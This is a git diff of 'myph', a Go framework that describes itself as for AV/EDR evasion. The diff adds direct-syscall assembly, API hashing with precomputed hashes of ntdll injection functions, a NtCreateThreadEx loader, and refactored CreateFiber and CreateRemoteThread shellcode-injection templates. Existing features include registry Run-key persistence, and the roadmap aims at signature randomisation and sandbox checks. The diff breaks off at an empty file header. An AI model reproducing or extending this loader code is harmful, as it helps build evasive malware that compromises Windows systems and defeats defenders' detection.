diff --git a/.gitignore b/.gitignore
@@ -12,6 +12,9 @@
myph
myph-out/
+scripts/hash_function
+scripts/hash
+
# Test binary, built with `go test -c`
*.test
diff --git a/Makefile b/Makefile
@@ -2,7 +2,7 @@
# -------------------
APP_NAME = myph
-APP_VERSION = 1.2.0
+APP_VERSION = 1.2.2
GIT_REVISION = `git rev-parse HEAD`
DOCKER_IMAGE_TAG ?= $(APP_VERSION)
DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
diff --git a/NOTES.txt b/NOTES.txt
@@ -0,0 +1,8 @@
+#############################
+######### RESOURCES #########
+#############################
+
+- https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20workshops/DEF%20CON%2029%20Workshop%20Ben%20Kurtz%20Writing%20Golang%20Malwar.pdf
+
+- https://evasions.checkpoint.com
+
diff --git a/README.md b/README.md
@@ -28,9 +28,9 @@ make # you can also use `make help` to check recipes
go build -o myph .
```
-> You can also grab the latest release from [here](https://github.com/CMEPW/myph/releases/)
+> You can also grab the latest release from [here](https://github.com/mato7sh/myph/releases/)
-Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/CMEPW/myph) like so:
+Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/mato7sh/myph) like so:
```bash
# /!\ lowercase is important /!\
go install github.com/cmepw/myph@latest
@@ -39,50 +39,25 @@ go install github.com/cmepw/myph@latest
### Usage
```
-
- ... -==[ M Y P H ]==-
- ;::::;
- ;::::; :; In loving memory of
- ;:::::' :; Wassyl Iaroslavovytch Slipak
- ;:::::; ;.
- ,:::::' ; OOO (1974 - 2016)
- ::::::; ; OOOOO
- ;:::::; ; OOOOOOOO
- ,;::::::; ;' / OOOOOOO
- ;::::::::: . ,,,;. / / DOOOOOO
- .';:::::::::::::::::;, / / DOOOO
- ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
-; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and
-: ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry
-:: ::::::: ;:::::::: ;::::# / DOO
- : ::::::: ;:::::: ;::::::#/ DOO
- ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn
- :::: ::::::: ;::::::::;:::# OO ------
- ::::: ::::::::::::;' :;::# O https://djnn.sh
- ::::: ::::::::; / / :#
- :::::: :::::; / / #
-
-Usage:
- myph [flags]
- myph [command]
-
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
spoof spoof PE metadata using versioninfo
Flags:
- -b, --builtype string define the output type (allowed: exe, dll) (default "exe")
- -e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
- -h, --help help for myph
- -k, --key string encryption key, auto-generated if empty. (if used by --encryption)
- -f, --out string output name (default "payload.exe")
- -z, --persistence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
- -p, --process string target process to inject shellcode to (default "cmd.exe")
- -s, --shellcode string shellcode path (default "msf.raw")
- --sleep-time uint sleep time in seconds before executing loader (default: 0)
- -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp) (default "CRT")
- -v, --version version for myph
+ --api-hashing-type string Hashing algorithm used for API hashing (default "DJB2")
+ -d, --debug builds binary with debug symbols
+ -e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
+ -h, --help help for myph
+ -k, --key string encryption key, auto-generated if empty. (if used by --encryption)
+ -f, --out string output name (default "payload.exe")
+ -z, --persistence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
+ -p, --process string target process to inject shellcode to (default "cmd.exe")
+ -s, --shellcode string shellcode path (default "msf.raw")
+ --sleep-time uint sleep time in seconds before executing loader (default: 0)
+ -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp) (default "CRT")
+ --use-api-hashing Use API Hashing
+ -v, --version version for myph
```
#### Loader Methods
@@ -91,13 +66,14 @@ This tool supports few methods for now, but aims to add more as time goes on:
- Syscall
- CreateFiber
- CreateThread
+- NtCreateThreadEx
- Process hollowing
- EnumCalendarInfoA
- CreateRemoteThread
- EtwpCreateEtwThread
- CreateRemoteThreadEx
-If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
+If you don't know what that is about, go check out [this repository](https://github.com/matro7sh/BypassAV) :)~
#### Example run
diff --git a/TODO.txt b/TODO.txt
@@ -1,17 +1,12 @@
#############################
-####### ROADMAP 1.2.0 #######
+####### ROADMAP 1.2.3 #######
#############################
Misc:
- support for loading API calls from PEB
- - Refactoring CLI options to interfaces
- Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
-Encoders:
- - add support for SGN
-
-
#############################
####### ROADMAP 1.3.0 #######
#############################
@@ -22,8 +17,11 @@ Commands:
Sleep / jitter:
- Ekko
+Encoders:
+ - add support for SGN
-dll:
+
+Dll:
- hijacking techniques (teams/onedrive)
Misc:
@@ -31,3 +29,18 @@ Misc:
- support for dameonizing ?
- introduce ppid spoofing ?
- add support for passing arguments to payload from command-line
+
+
+#############################
+####### ROADMAP 1.4.0 #######
+#############################
+
+
+Misc:
+ - add support for attaching to new processes
+ - add support for multiple hashing algorithms for retrieving API calls through PEB
+ - add support for variable assignment randomization
+ -> should assign variables differently (as random as possible) in order to
+ have different signatures each time
+ - optionally implement sandbox checks
+
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -18,8 +18,11 @@ func GetDefaultCLIOptions() Options {
SleepTime: 0,
PEFilePath: "payload.exe",
VersionFilePath: "goversion.json",
+ WithDebug: false,
BuildType: "exe",
Persistence: "",
+ UseAPIHashing: false,
+ APIHashingType: "DJB2",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -43,17 +43,25 @@ const ASCII_ART = `
`
func BuildLoader(opts *Options) *exec.Cmd {
- os.Setenv("GOOS", opts.OS)
- os.Setenv("GOARCH", opts.Arch)
+ os.Setenv("GOOS", opts.OS)
+ os.Setenv("GOARCH", opts.Arch)
if opts.BuildType == "dll" {
os.Setenv("CGO_ENABLED", "1")
os.Setenv("CC", "x86_64-w64-mingw32-gcc")
fmt.Println("[*] Compiling payload as dll...")
+ if opts.WithDebug {
+ return exec.Command("go", "build", "-buildmode=c-shared", "-o", "payload.dll", ".")
+ }
+
return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".")
} else if opts.BuildType == "exe" {
fmt.Println("[*] Compiling payload as executable...")
+ if opts.WithDebug {
+ return exec.Command("go", "build", "-o", "payload.exe", ".")
+ }
+
return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
} else {
fmt.Printf("[!] Buildtype format not supported!")
@@ -63,7 +71,7 @@ func BuildLoader(opts *Options) *exec.Cmd {
func GetParser(opts *Options) *cobra.Command {
- version := "1.2.0"
+ version := "1.2.2"
var spoofMetadata = &cobra.Command{
Use: "spoof",
Version: version,
@@ -142,7 +150,7 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
- /* i got 99 problems but generating a random key aint one */
+ /* generating a random key if none are selected */
if opts.Key == "" {
opts.Key = tools.RandomString(32)
}
@@ -190,9 +198,6 @@ func GetParser(opts *Options) *cobra.Command {
panic(err)
}
- fmt.Println("\n...downloading necessary library...")
- fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
-
/* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305")
execCmd.Dir = MYPH_TMP_DIR
@@ -207,9 +212,6 @@ func GetParser(opts *Options) *cobra.Command {
panic(err)
}
- fmt.Println("\n...downloading necessary library...")
- fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
-
/* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish")
execCmd.Dir = MYPH_TMP_DIR
@@ -224,6 +226,7 @@ func GetParser(opts *Options) *cobra.Command {
panic(err)
}
+ /* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */
persistData := ""
if opts.Persistence != "" {
persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
@@ -258,7 +261,7 @@ func GetParser(opts *Options) *cobra.Command {
panic(err)
}
- templateFunc := loaders.SelectTemplate(opts.Technique)
+ templateFunc := loaders.SelectTemplate(opts.Technique, opts.UseAPIHashing, opts.APIHashingType)
if templateFunc == nil {
fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
os.Exit(1)
@@ -270,19 +273,33 @@ func GetParser(opts *Options) *cobra.Command {
}
fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
+
+ if opts.UseAPIHashing {
+ execGoGetCmd := exec.Command("go", "get", "github.com/Binject/debug/pe")
+ execGoGetCmd.Dir = MYPH_TMP_DIR
+ _, _ = execGoGetCmd.Output()
+ }
+
execCmd := BuildLoader(opts)
execCmd.Dir = MYPH_TMP_DIR
- _, stderr := execCmd.Output()
+ var stderr error
+ _, stderr = execCmd.Output()
if stderr != nil {
+
+ command := "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe"
+ if opts.BuildType == "dll" {
+ command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \"-s -w -H=windowsgui\" -o payload.dll"
+ }
+
fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
fmt.Printf(
"\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n",
MYPH_TMP_DIR,
opts.OS,
opts.Arch,
- "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
+ command,
)
fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
@@ -308,12 +325,15 @@ func GetParser(opts *Options) *cobra.Command {
rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)")
- rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp)")
rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
- rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
+ rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols")
+ rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing")
+ // TODO(djnn): re-add this flag once supported
+ // rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
+ rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
diff --git a/cli/types.go b/cli/types.go
@@ -8,7 +8,15 @@ type encKind string
// shellcode-loading technique kind (used for CLI)
type technique string
+// API-hash method
+type apiHashTechnique string
+
const (
+ DJB2 apiHashTechnique = "DJB2"
+ SHA1 apiHashTechnique = "SHA1"
+ SHA256 apiHashTechnique = "SHA256"
+ SHA512 apiHashTechnique = "SHA512"
+
EncKindAES encKind = "AES"
EncKindXOR encKind = "XOR"
EncKindBLF encKind = "blowfish"
@@ -18,6 +26,8 @@ const (
CRTx technique = "CRTx"
ETWP technique = "Etwp"
SYSCALL technique = "Syscall"
+ SYSCALLTEST technique = "SyscallTest"
+ NtCreateThreadEx technique = "NtCreateThreadEx"
CreateFiber technique = "CreateFiber"
CreateThread technique = "CreateThread"
ProcessHollowing technique = "ProcessHollowing"
@@ -25,6 +35,27 @@ const (
)
// String is used both by fmt.Print and by Cobra in help text
+func (e *apiHashTechnique) String() string {
+ return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *apiHashTechnique) Set(v string) error {
+ switch v {
+ case "DJB2", "SHA1", "SHA256", "SJA512":
+ *e = apiHashTechnique(v)
+ return nil
+ default:
+ return errors.New("must be one of \"DJB2\", \"SHA1\", \"SHA256\" or \"SHA512\"\n\n")
+ }
+}
+
+// Type is only used in help text
+func (e *apiHashTechnique) Type() string {
+ return "API Hash technique"
+}
+
+// String is used both by fmt.Print and by Cobra in help text
func (e *encKind) String() string {
return string(*e)
}
@@ -53,11 +84,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "EnumCalendarInfoA", "Etwp":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"EnumCalendarInfoA\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\", \"EnumCalendarInfoA\", \"Etwp\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
@@ -104,6 +135,15 @@ type Options struct {
// PE filepath
PEFilePath string
+ // Builds with debug symbol
+ WithDebug bool
+
+ // Use API-hashing
+ UseAPIHashing bool
+
+ // API hashing algorithm
+ APIHashingType string
+
// Build type
BuildType string
}
diff --git a/go.mod b/go.mod
@@ -3,6 +3,7 @@ module github.com/cmepw/myph
go 1.19
require (
+ github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
github.com/spf13/cobra v1.7.0
github.com/tc-hib/winres v0.2.0
golang.org/x/crypto v0.11.0
diff --git a/go.sum b/go.sum
@@ -1,3 +1,5 @@
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
diff --git a/internals/asm_x64.s b/internals/asm_x64.s
@@ -0,0 +1,59 @@
+#define maxargs 16
+//func runSyscall(callid uint16, argh ...uintptr) (uint32)
+TEXT ·runSyscall(SB), $0-56
+ XORQ AX,AX
+ MOVW callid+0(FP), AX
+ PUSHQ CX
+
+ //put variadic size into CX
+ MOVQ argh_len+16(FP),CX
+
+ //put variadic pointer into SI
+ MOVQ argh_base+8(FP),SI
+
+ // SetLastError(0).
+ MOVQ 0x30(GS), DI
+ MOVL $0, 0x68(DI)
+ SUBQ $(maxargs*8), SP // room for args
+
+ // Fast version, do not store args on the stack.
+ CMPL CX, $4
+ JLE loadregs
+
+ // Check we have enough room for args.
+ CMPL CX, $maxargs
+ JLE 2(PC)
+ INT $3 // not enough room -> crash
+
+ // Copy args to the stack.
+ MOVQ SP, DI
+ CLD
+ REP; MOVSQ
+ MOVQ SP, SI
+
+loadregs:
+ SUBQ $8, SP
+
+ // Load first 4 args into correspondent registers.
+ MOVQ 0(SI), CX
+ MOVQ 8(SI), DX
+ MOVQ 16(SI), R8
+ MOVQ 24(SI), R9
+
+ // Floating point arguments are passed in the XMM
+ // registers. Set them here in case any of the arguments
+ // are floating point values. For details see
+ // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
+
+ MOVQ CX, X0
+ MOVQ DX, X1
+ MOVQ R8, X2
+ MOVQ R9, X3
+ MOVQ CX, R10
+ SYSCALL
+ ADDQ $((maxargs+1)*8), SP
+
+ // Return result.
+ POPQ CX
+ MOVL AX, errcode+32(FP)
+ RET
diff --git a/internals/defines.go b/internals/defines.go
@@ -0,0 +1,94 @@
+package internals
+
+/* stores hashed name for different functions here. */
+
+type ItemHash struct {
+ Name string
+ Djb2 string
+ Sha1 string
+ Sha256 string
+ Sha512 string
+}
+
+var Libraries = []ItemHash{
+ {
+ Name: "ntdll.dll",
+ Sha1: "0ebd8d889e0e2c63b7a4361a8dfe00177cdd90bb",
+ Sha256: "9799dda2257cafa991aa38a16bca3fef8e1dc74a710a45540f92b1fa6bebb325",
+ Sha512: "40b2a7d054581eb002a782e52bdfa0fe3a3785bacb3f68417a8398ca36767789161444cf3730f9add8e336f238302677f1695fa85d86e2f38f774c22133a2c73",
+ Djb2: "48974c2b9a61004",
+ },
+}
+
+var Ntdll = []ItemHash{
+ {
+ Name: "LoadLibraryA",
+ Sha1: "2ff89c407367034615a95207770da1a7646d47df",
+ Sha256: "ebe7efccb0a610c6a5c504c1c40e39b9c17ffcf22165a0cfc352ec24ae254bbf",
+ Sha512: "0769713cb7eeadc2cca33e363131b0ab52b1df0d9b1ad834dd6e4e5b8aa04e384d058039328cd11f8e526ba8f2aaf326f679d100f607ce118443cce079dcb82f",
+ Djb2: "6e8ac3a04c15d943",
+ },
+ {
+ Name: "VirtualAlloc",
+ Sha1: "3567705df8e544d414d315f64ae47e5861b0f68a",
+ Sha256: "02bd37c1a0f05945da5b89a6bac0442c25ed41d4ef7faf5a0dbebc4a164717a4",
+ Sha512: "d07e14fb68a140227321c46c4a59cf1a9a821c0f0add4aa0bf9b9a875c3af974857855052e329d8d90491b4d4376e1249d6776f725ca763fe0f53cd84a7ff942",
+ Djb2: "782024e6b5fe6881",
+ },
+ {
+ Name: "VirtualProtect",
+ Sha1: "69e06440b787b5b3fac43a60d3f019be95f63896",
+ Sha256: "9e14bfc8aef4a854ac77a1ae7ae1e0c3b072aec6c2da284164a0b9ea347fdaba",
+ Sha512: "77dad9a3279de993b2edff84ceae8c18ec4577f75bc3157694fe1349df9d99300e999d9d25f6619a839022dc96c037877d93bb89d83cb7600cdd544fbf059d14",
+ Djb2: "7126a1d34679917e",
+ },
+ {
+ Name: "RtlCopyMemory",
+ Sha1: "638f1a50566e7a2aceaeeebc63980672611c32a0",
+ Sha256: "8c6f5c89104c0c4418fcda502146888ac9a255697f7aeb62171da677a6bf34b2",
+ Sha512: "4a7eab1b5ad1d3d71c105cdc50e47aa944b0c56cb00bb896a5ad652ccca4f9e1a8a84d757f3158aeec5104cb4b2d1f7923e21a5ba8f75180a112fda40722f70c",
+ Djb2: "7a4c2ed807c8fcf1",
+ },
+ {
+ Name: "NtProtectVirtualMemory",
+ Sha1: "059637f5757d91ad1bc91215f73ab6037db6fe59",
+ Sha256: "a6290493ec0ae72f94b5e4507d63420e40d5e35404d99a583a62acfedddfd848",
+ Sha512: "e07953c6b45a10b35f74686e9723e3ce65b3506332231c314ff88cb9b86824c756aa9ec1642a55e7fbf0521d9e68e6b09b4c423327ab780100d92a0961d4c250",
+ Djb2: "a9a7b2ecdd745a31",
+ },
+ {
+ Name: "NtAllocateVirtualMemory",
+ Sha1: "04262a7943514ab931287729e862ca663d81f515",
+ Sha256: "078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388",
+ Sha512: "15cf362b1abdc2792899e7e451e2c7e0668ff0bf5df6b9a4fa92082b6abd77c8c14ec684c98af255f6cd2af58c72a810332887aa0e18b076dd58da2b1bc1bea0",
+ Djb2: "32b0ac787d4dba31",
+ },
+ {
+ Name: "NtCreateThreadEx",
+ Sha1: "91958a615f982790029f18c9cdb6d7f7e02d396f",
+ Sha256: "a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd",
+ Sha512: "ef9ef2ae72efe49a5eff53df67fc402e49d2324eef4bc6dbb6f3797d9a1f00f82089620103a29aef6be741c0e19d469855cad7cc023a05685b2399ee10065fa0",
+ Djb2: "76d3925c21b6534a",
+ },
+ {
+ Name: "NtWriteVirtualMemory",
+ Sha1: "6caed95840c323932b680d07df0a1bce28a89d1c",
+ Sha256: "6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b",
+ Sha512: "f07fcea516c70bda3cb17f3010d2d03ea426a79e4ca181668728ce02a93c39673d8e38de51f68574034f3dfa87eb5f98d3e279015673194b5bee86fa2eb8ac12",
+ Djb2: "9ca2ab4726e0ba31",
+ },
+ {
+ Name: "CreateThread",
+ Sha1: "2a953ace6c3950520c4153060e35679648967981",
+ Sha256: "0fe39db340c2fe54c68e77ff65754d08137aae006286e8b8e5f20cc5451e9f22",
+ Sha512: "855848ae8b96ad61d7288ac5eb42f54069dcb242201bc3b3df7a21b8f4e4fd70324e7a514ec710a75b7b1cc3a219da75cb49cd6a99e33172e41ed80b35c9e348",
+ Djb2: "65dd5ebc0ad0132a",
+ },
+ {
+ Name: "WaitForSingleObject",
+ Sha1: "681e778499375c2fb42da094ca5119ae773c189b",
+ Sha256: "6a98c5468e3cd5c8fec2ed81dcfb6c653bfe56289debe0e1089c92dc8eff744f",
+ Sha512: "a06ee8da37a43a240267a122a8ea85fbf9e0b403e140e13ea3504bff2004e1902df4542e5d5b821439ab73633d2405cf8c1c4ccdef288c26e8ecfa07be49cae8",
+ Djb2: "aabf4c35522cfc3e",
+ },
+}
diff --git a/internals/hashes.go b/internals/hashes.go
@@ -0,0 +1,46 @@
+package internals
+
+import (
+ "crypto/sha1"
+ "crypto/sha256"
+ "crypto/sha512"
+ "fmt"
+)
+
+/*
+ holds the different hashing algorithms available for this loader
+*/
+
+func HashSHA1(toHash string) string {
+ h := sha1.New()
+ h.Write([]byte(toHash))
+ bs := h.Sum(nil)
+
+ return fmt.Sprintf("%x", bs)
+}
+
+func HashSHA256(toHash string) string {
+ h := sha256.New()
+ h.Write([]byte(toHash))
+ bs := h.Sum(nil)
+
+ return fmt.Sprintf("%x", bs)
+}
+
+func HashSHA512(toHash string) string {
+ h := sha512.New()
+ h.Write([]byte(toHash))
+ bs := h.Sum(nil)
+
+ return fmt.Sprintf("%x", bs)
+}
+
+func HashDJB2(input string) string {
+ hash := uint64(5381)
+
+ for _, b := range input {
+ hash += uint64(b) + hash + hash<<5
+ }
+
+ return fmt.Sprintf("%x", hash)
+}
diff --git a/internals/runtime.go b/internals/runtime.go
@@ -0,0 +1,69 @@
+package internals
+
+/*
+ slightly adapted from hooka loader
+
+ i could have just yoinked the code and used it like that but i plan to
+ do different things in the future, which will need me to implement things
+ differently, but this is an excellent base if you want to get started
+ or use a more stable loader :)
+
+
+*/
+
+import (
+ "encoding/binary"
+ "errors"
+
+ "github.com/Binject/debug/pe"
+)
+
+func rva2offset(pe *pe.File, rva uint32) uint32 {
+ for _, hdr := range pe.Sections {
+ baseoffset := uint64(rva)
+ if baseoffset > uint64(hdr.VirtualAddress) &&
+ baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
+ return rva - hdr.VirtualAddress + hdr.Offset
+ }
+ }
+ return rva
+}
+
+func HashedCall(callid uint16, argh ...uintptr) uintptr {
+ rvalue := runSyscall(callid, argh...)
+ return uintptr(rvalue)
+}
+
+func runSyscall(callid uint16, argh ...uintptr) (errcode uint32)
+
+func LoadFunctionFromHash(
+ hashing_algorithm func(string) string,
+ hashedName string,
+ dll *pe.File,
+) (uint16, error) {
+
+ /* retrieve function exports */
+ exports, err := dll.Exports()
+ if err != nil {
+ return 0, err
+ }
+
+ for _, x := range exports {
+
+ /* hash every export & compare against base hash */
+ if hashing_algorithm(x.Name) == hashedName {
+
+ /* get in-memory offset from rva */
+ offset := rva2offset(dll, x.VirtualAddress)
+ dllBytes, err := dll.Bytes()
+ if err != nil {
+ return 0, errors.New("could not retrieve bytes from dll...")
+ }
+
+ buff := dllBytes[offset : offset+10]
+ sysId := binary.LittleEndian.Uint16(buff[4:8])
+ return sysId, nil
+ }
+ }
+ return 0, errors.New("Function not found")
+}
diff --git a/loaders/createFiber.go b/loaders/createFiber.go
@@ -2,20 +2,23 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCreateFiberTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type CreateFiberTemplate struct{}
+func (t CreateFiberTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
"os"
"unsafe"
"syscall"
)
+`)
+}
+func (t CreateFiberTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -35,10 +38,16 @@ var (
SwitchToFiber = kernel32.MustFindProc("SwitchToFiber")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t CreateFiberTemplate) Init() string {
+ return ""
+}
- /* convert main thread to fiber */
+func (t CreateFiberTemplate) Process() string {
+ return fmt.Sprintf(`
+ /* convert main thread to fiber */
fiberAddr, _, _ := ConvertThreadToFiber.Call()
if fiberAddr == 0 {
os.Exit(1)
@@ -60,7 +69,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
/* call CreateFiber & switch to the fiber to execute the payload */
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, _ = SwitchToFiber.Call(fiber)
+`)
+}
+
+func (t CreateFiberTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
}
- `)
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
}
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -2,18 +2,22 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCRTTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
+type CRTTemplate struct{}
+func (t CRTTemplate) Import() string {
+ return fmt.Sprintf(`
import (
"syscall"
"unsafe"
)
+`)
+}
-
+func (t CRTTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -32,8 +36,11 @@ var (
WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
)
+`)
+}
-
+func (t CRTTemplate) Init() string {
+ return fmt.Sprintf(`
func loadProcess(target string) *syscall.ProcessInformation {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
@@ -60,11 +67,13 @@ func loadProcess(target string) *syscall.ProcessInformation {
return &pi
}
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
-
+func (t CRTTemplate) Process() string {
+ return fmt.Sprintf(`
/* spawn target process */
- process := loadProcess("%s")
+ process := loadProcess("__PROCESS__")
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
@@ -96,6 +105,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
/* load remote thread */
_, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+`)
+}
+
+func (t CRTTemplate) GetTemplate(targetProcess string) string {
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+__IMPORT__INIT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
}
- `, targetProcess)
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/createRemoteThreadEx.go b/loaders/createRemoteThreadEx.go
